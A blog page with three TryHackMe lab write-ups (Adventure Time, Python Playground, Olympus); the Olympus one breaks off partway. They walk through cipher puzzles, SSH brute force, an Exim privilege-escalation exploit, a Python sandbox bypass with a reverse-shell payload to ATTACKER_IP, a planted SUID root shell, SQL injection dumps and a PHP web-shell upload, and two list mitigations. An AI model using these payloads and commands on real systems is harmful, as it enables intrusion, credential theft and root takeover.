DEV Community: Yogeshwar Peela

TryHackMe: Adventure Time Writeup

Yogeshwar Peela — Tue, 22 Sep 2026 12:20:08 +0000

Summary

Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at land-of-ooo.com — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root exim4 binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000

Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337

nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337

PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 ftp      ftp       1401357 Sep 21  2019 1.jpg
| -r--r--r--    1 ftp      ftp        233977 Sep 21  2019 2.jpg
| -r--r--r--    1 ftp      ftp        524615 Sep 21  2019 3.jpg
| -r--r--r--    1 ftp      ftp        771076 Sep 21  2019 4.jpg
| -r--r--r--    1 ftp      ftp       1644395 Sep 21  2019 5.jpg
|_-r--r--r--    1 ftp      ftp         40355 Sep 21  2019 6.jpg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines, NULL:
|     Hello Princess Bubblegum. What is the magic word?

Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for adventure-time.com.

2. FTP anonymous login - EXIF binary decode

ftp MACHINE_IP 21

Name: anonymous
230 Login successful.
ftp> prompt off
ftp> mget *

Six JPEGs downloaded. All have binary data embedded in the XP Comment EXIF field:

exiftool *.jpg | grep "XP Comment"

XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001

Decoding each binary sequence and concatenating:

1.jpg → you
2.jpg → really
3.jpg → like
4.jpg → to
5.jpg → puzzle
6.jpg → don't ya

Result: "you really like to puzzle don't ya"

Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya

3. Web enumeration - HTTPS vhost

Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:

curl -k https://MACHINE_IP/

<title>You found Finn</title>
<img src="finn-1.png" alt="the magic word" style="width: 100%">

The SSL cert's commonName=adventure-time.com is the clue. Added adventure-time.com to /etc/hosts. Gobuster against the HTTPS service:

gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

candybar    (Status: 301) [Size: 321] [--> https://MACHINE_IP/candybar/]

curl -k https://MACHINE_IP/candybar/

<title>Where is Jake?</title>
<img src="finn-2.png" alt="the magic word" style="width: 100%">
<!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== -->

Decoding the HTML comment:

echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d

Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.

Applying Caesar cipher with shift -15 decodes to: "ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"

The certificate confirmed adventure-time.com / land-of-ooo.com as the target domain.

4. Enumerating land-of-ooo.com

ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

yellowdog    [Status: 301, Size: 322]

curl -k https://land-of-ooo.com/yellowdog/

<title>To find a password</title>
<img src="jake-2.png" alt="what is the password?" style="width: 100%">

ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

bananastock    [Status: 301]

The /yellowdog/bananastock/ page displayed two Banana Guards with their password rendered as Morse code using / as dot delimiter and \ as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):

"THE BANANAS ARE THE BEST!!!"

ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

princess    [Status: 301]

curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/

<title>What secret safe?</title>
<!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
-->

Decrypted in CyberChef (AES Decrypt, CBC, Hex input):

"the magic safe is accessibel at port 31337. the magic word is: ricardio"

5. Port 31337 - get SSH username

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards

6. SSH as apple-guards

ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!

apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}

Checked mail:

apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.

apple-guards@at:~$ find / -type f -user marceline 2>/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20  2019 /etc/fonts/helper

7. Marceline's helper puzzle - Vigenère decode

apple-guards@at:~$ /etc/fonts/helper

======================================
      BananaHead Access Pass
       created by Marceline
======================================

The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse

Did you solve the puzzle? yes

What is the word I'm looking for? Abadeer

That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'

Vigenère decode of Gpnhkse with key gone (CyberChef) → "Abadeer"

8. SSH/su as marceline

apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}

marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010

The binary string is Spoon (an esoteric Brainfuck-derived language using only +, -, >, <, [, ], ., , encoded as binary). Decoded via dCode's Spoon interpreter:

"the magic word you are looking for is ApplePie"

9. Port 31337 again - get peppermint-butler password

nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic

10. su peppermint-butler

marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}

peppermint-butler@at:~$ ls -la
-rw-------  1 peppermint-butler peppermint-butler 85555 sep 21  2019 butler-1.jpg
-rw-r-----  1 peppermint-butler peppermint-butler    28 sep 22  2019 flag3

peppermint-butler@at:~$ find / -type f -user peppermint-butler 2>/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg

peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'

Two different passwords - one for steghide, one for the zip.

Served the image to the attacker machine:

peppermint-butler@at:~$ python3 -m http.server 8000

wget http://land-of-ooo.com:8000/butler-1.jpg

steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".

unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave

cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.

11. Bruteforce gunter's SSH password

Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user gunter.

crunch 18 18 -t 'The Ice King s@@@@' > pass.txt
Crunch will now generate the following number of lines: 456976

hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP

[22][ssh] host: MACHINE_IP   login: gunter   password: The Ice King sucks

12. su/SSH as gunter

peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}

gunter is in the gcc group. Checking SUID binaries:

gunter@at:~$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14  2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14

Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from /etc/exim4/update-exim4.conf.conf):

gunter@at:~$ ss -tlnp | grep 60000
LISTEN   0   20   127.0.0.1:60000   0.0.0.0:*

13. CVE-2019-10149 - SUID exim4 LPE to root

Used the public PoC (exploit-db 46996), modified the exec 3<>/dev/tcp/localhost/25 line to point to port 60000:

gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh

raptor_exim_wiz - "The Return of the WIZard" LPE exploit

Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)

14. Final flag - BMO reset code

# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy

In case of emergency use resetcode: tryhackme{REDACTED}

Key Vulnerabilities

Sensitive data in EXIF metadata - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.
Unauthenticated multi-stage web puzzle leaking credentials - The land-of-ooo.com web chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.
Weak access-control binary (/etc/fonts/helper) - An executable owned by marceline was accessible to the apple-guards group and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.
Credentials embedded in a Spoon script stored in a readable file - The peppermint-butler password was obtainable by anyone who could read I-got-a-secret.txt in Marceline's home directory and knew how to decode Spoon.
Steganography as the only secret protection - The gunter password hint was hidden in secrets.zip behind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (/usr/share/xml/steg.txt, /etc/php/zip.txt), the hint was trivially extractable.
Weak partial-password pattern enabling brute-force - The password The Ice King sucks followed a known prefix (The Ice King s) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.
SUID root exim4 vulnerable to CVE-2019-10149 - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.

Mitigations

Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.
Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.
Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.
Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.
Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.
Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.

TryHackMe: Python Playground Writeup

Yogeshwar Peela — Tue, 22 Sep 2026 12:09:44 +0000

Summary

Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000

Open MACHINE_IP:22
Open MACHINE_IP:80

nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!

curl http://MACHINE_IP/

<h1>Secure Python Playground</h1>
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
<a href="login.html">Login</a>
<a href="signup.html">Sign up</a>

login.html and signup.html both return a "site is admin-only right now" placeholder page.

2. Content discovery

gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html

admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]

admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:

curl http://MACHINE_IP/super-secret-admin-testing-panel.html

Returns an unauthenticated form:

<h2 class="m-3">Python Playground! <sub>- By Connor</sub></h2>
<textarea class="form-control mb-3" name="code"></textarea>
<textarea class="form-control mb-3" readonly></textarea>
<input type="submit" class="form-control btn-primary mb-3" value="Go!">

3. Filter analysis

Basic execution works fine:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"

<textarea ...>2

Exit code 0</textarea>

But anything referencing os/subprocess/import directly is blocked:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"

All of these return:

<textarea class="form-control mb-3" readonly>Security threat detected!</textarea>

4. Filter bypass

Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"

<textarea class="form-control mb-3" readonly>
Exit code 0</textarea>

Confirming full command execution:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"

<textarea class="form-control mb-3" readonly>b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0</textarea>

5. Reverse shell

A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'

Caught with a listener (penelope in this case):

penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64  Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#

Landed directly as root inside the web app's container:

root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js  node_modules  package-lock.json  package.json  scripts  static

Container flag:

root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}

6. Recovering `connor`'s credentials (cipher reversal)

A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:

>>> def f_inv(s):
...     out = []
...     for i in range(0, len(s), 2):
...         a = ord(s[i]) - 97
...         b = ord(s[i+1]) - 97
...         out.append(chr(a*26 + b))
...     return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target)   # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245

7. SSH access as `connor`

ssh connor@MACHINE_IP

connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)

Flag from connor's home directory:

connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}

Initial enumeration as connor came up empty:

connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su

8. Realizing the RCE landed inside a Docker container

Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:

root@playgroundweb:~# which docker
root@playgroundweb:~#

With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.

9. Container escape prep - abusing a shared log mount

root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data=ordered

/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:

connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 .
...

10. Planting a SUID root binary on the host

root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc

11. Privilege escalation via the planted SUID binary

The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:

connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)

Final flag:

root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}

Key Vulnerabilities

Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). __import__() used as a callable bypasses any blacklist built around literal import statements or named function calls.
Unrestricted server-side code execution as root - The playground process itself ran as root inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.
Sensitive host path bind-mounted into a container with write access - /var/log on the host was mounted into the application container at /mnt/log with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.
Weak "custom crypto" for credential storage - The connor password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.
Hidden but unauthenticated admin endpoint - super-secret-admin-testing-panel.html was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.

Mitigations

Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.
Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
Avoid bind-mounting sensitive host directories (especially /var/log or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.
Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.

TryHackMe - Olympus Writeup

Yogeshwar Peela — Thu, 10 Sep 2026 09:40:12 +0000

Summary

Olympus is a Linux box built around an old Victor CMS 1.0 install hidden
under /~webmaster/. An unauthenticated SQL injection in the CMS search
feature was the root of the entire chain: it dumped an initial flag, user
password hashes, and a full chat log. One cracked password unlocked both
the CMS admin panel and a second vhost, chat.olympus.thm, running a
custom chat app with file upload. A PHP reverse shell was uploaded there,
and its randomized server-side filename - meant to stop direct access -
was recovered from the database through the same SQL injection, giving a
www-data shell. From there, a SUID file-copy utility owned by user
zeus was abused to exfiltrate zeus's SSH private key despite the
.ssh directory being otherwise inaccessible; cracking its passphrase
gave an SSH shell as zeus and the user flag. zeus's group membership
on a hidden web directory exposed a password-protected PHP "root shell
backdoor" script left behind by a previous attacker (prometheus);
reading its source revealed the hardcoded password, and calling it
returned a reverse shell running as root, yielding the root flag and a
bonus flag hidden elsewhere on disk.

1. Recon

nmap -A -Pn <MACHINE_IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm

echo '<MACHINE_IP> olympus.thm' >> /etc/hosts

The root page is a static "under development" placeholder (Aperi'Solve /
particles.js branding), nothing actionable directly.

2. Web Enumeration

dirsearch and ffuf against olympus.thm found a hidden user directory:

ffuf -u http://olympus.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -ac

~webmaster              [Status: 301, Size: 315, ...]

http://olympus.thm/~webmaster/ serves a Victor CMS 1.0 site (confirmed
by HTML comments: @project 'Simple Content Management System',
@author 'Victor Alagwu'). A "Credentials" blog post on the site hints
that some users reuse weak/common passwords.

whatweb http://olympus.thm/~webmaster/

Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, JQuery, Title[Victor CMS]

3. Identifying the Vulnerable CMS

searchsploit victor cms

Victor CMS 1.0 - 'Search' SQL Injection              | php/webapps/48734.txt
Victor CMS 1.0 - Authenticated Arbitrary File Upload  | php/webapps/48490.txt
Victor CMS 1.0 - File Upload To RCE                   | php/webapps/49310.txt
Victor CMS 1.0 - Multiple SQL Injection (Authenticated)| php/webapps/49282.txt

The unauthenticated search parameter on search.php is directly
injectable per the advisory:

POST /CMSsite/search.php
search=1337'union+select+1,2,version(),database(),5,6,7,8,9,10 -- -

4. SQL Injection - search.php

Automated with sqlmap:

sqlmap -u "http://olympus.thm/~webmaster/search.php" \
  --data="search=1337*&submit=" --dbs --random-agent -v 3

sqlmap confirmed boolean-based, error-based, time-based, and UNION-based
injection on the custom search POST parameter, and enumerated the
databases:

available databases [6]:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys

4.1 Tables

sqlmap ... -D olympus --tables

[6 tables]
categories, chats, comments, flag, posts, users

4.2 Flag table

sqlmap ... -D olympus -T flag --dump

+---------------------------+
| flag                      |
+---------------------------+
| flag{REDACTED}            |
+---------------------------+

4.3 Users table

sqlmap ... -D olympus -T users --dump

| user_id | user_name  | user_role | user_email             | user_password (bcrypt)                                      |
|   3     | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|   6     | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
|   7     | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |

The root/zeus emails leak a second vhost: chat.olympus.thm.

5. Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt user-hash.txt

summertime       (prometheus)

prometheus : summertime cracked against the bcrypt hash; root and
zeus were not cracked with rockyou.

6. CMS Admin Access

Logged into http://olympus.thm/~webmaster/admin/ as prometheus. The
Users page confirms the same three accounts and the chat.olympus.thm
addresses seen in the SQLi dump.

7. Second Vhost - chat.olympus.thm

echo '<MACHINE_IP> chat.olympus.thm' >> /etc/hosts

The same prometheus:summertime credentials work at
http://chat.olympus.thm/login.php, landing on home.php: a custom chat
app with a message box and file upload.

7.1 Chat history via SQLi

The chats table was pulled directly through the same search.php
injection:

sqlmap ... -D olympus -T chats --dump

| dt         | msg                                | uname      | file                                  |
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | 47c3210d51761686f3af40a875eeaaea.txt  |
| 2022-04-06 | random file name function...       | zeus       | <blank>                               |
| 2026-09-10 | Attached : rev.php                 | prometheus | ff1957eacecdeafa2f3b285a01f40920.php  |

Uploaded files are renamed server-side to a random 32-character hex
string as an access control - an old chat message from zeus confirms
this was intentional ("The IT guy used a random file name function to
make it harder for attackers to access the uploaded files"). It fails
because the real generated filename is stored in chats.file and is
readable through the same SQL injection, defeating the protection
entirely.

A {{7*7}} message was also sent to probe for server-side template
injection; it was not confirmed to render before moving on.

7.2 Reverse shell upload

A PHP reverse shell (rev.php) was uploaded via the chat file input. Per
the chats dump, it was stored as:

ff1957eacecdeafa2f3b285a01f40920.php

penelope listen -p 4444

Requesting that filename returned a shell:

[+] [New Reverse Shell] => www-data(33)
www-data@<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)

8. www-data Enumeration

cat /home/zeus/zeus.txt

Hey zeus !
I managed to hack my way back into the olympus eventually.
Looks like the IT kid messed up again !
I've now got a permanent access as a super user to the olympus.
                                                - Prometheus.

cat /home/zeus/user.flag
